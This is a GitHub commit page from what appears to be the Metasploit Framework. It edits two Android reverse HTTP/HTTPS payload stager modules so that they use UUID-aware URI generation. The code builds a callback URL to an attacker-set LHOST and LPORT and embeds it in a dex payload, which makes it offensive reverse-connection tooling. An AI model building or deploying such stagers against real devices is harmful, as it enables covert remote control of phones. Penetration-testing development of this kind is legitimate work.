Skip to content

Commit 7a9e875

Browse files
committed
use uuid aware generate_uri_uuid_mode
1 parent 96a3011 commit 7a9e875

File tree

2 files changed

+6
-2
lines changed

2 files changed

+6
-2
lines changed

modules/payloads/stagers/android/reverse_http.rb

Lines changed: 3 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -5,13 +5,15 @@
55

66
require 'msf/core'
77
require 'msf/core/handler/reverse_http'
8+
require 'msf/core/payload/uuid_options'
89

910
module Metasploit3
1011

1112
CachedSize = :dynamic
1213

1314
include Msf::Payload::Stager
1415
include Msf::Payload::Dalvik
16+
include Msf::Payload::UUIDOptions
1517

1618
def initialize(info = {})
1719
super(merge_info(info,
@@ -37,7 +39,7 @@ def generate_jar(opts={})
3739
lurl = "ZZZZhttp://#{datastore["LHOST"]}"
3840
lurl << ":#{datastore["LPORT"]}" if datastore["LPORT"]
3941
lurl << "/"
40-
lurl << generate_uri_checksum(Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INITJ, uri_req_len)
42+
lurl << generate_uri_uuid_mode(:init_java, uri_req_len)
4143

4244
classes = File.read(File.join(Msf::Config::InstallRoot, 'data', 'android', 'apk', 'classes.dex'), {:mode => 'rb'})
4345
string_sub(classes, 'ZZZZ' + ' ' * 512, lurl)

modules/payloads/stagers/android/reverse_https.rb

Lines changed: 3 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -5,13 +5,15 @@
55

66
require 'msf/core'
77
require 'msf/core/handler/reverse_https'
8+
require 'msf/core/payload/uuid_options'
89

910
module Metasploit3
1011

1112
CachedSize = :dynamic
1213

1314
include Msf::Payload::Stager
1415
include Msf::Payload::Dalvik
16+
include Msf::Payload::UUIDOptions
1517

1618
def initialize(info = {})
1719
super(merge_info(info,
@@ -37,7 +39,7 @@ def generate_jar(opts={})
3739
lurl = "ZZZZhttps://#{datastore["LHOST"]}"
3840
lurl << ":#{datastore["LPORT"]}" if datastore["LPORT"]
3941
lurl << "/"
40-
lurl << generate_uri_checksum(Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INITJ, uri_req_len)
42+
lurl << generate_uri_uuid_mode(:init_java, uri_req_len)
4143

4244
classes = File.read(File.join(Msf::Config::InstallRoot, 'data', 'android', 'apk', 'classes.dex'), {:mode => 'rb'})
4345
string_sub(classes, 'ZZZZ' + ' ' * 512, lurl)

0 commit comments

Comments
 (0)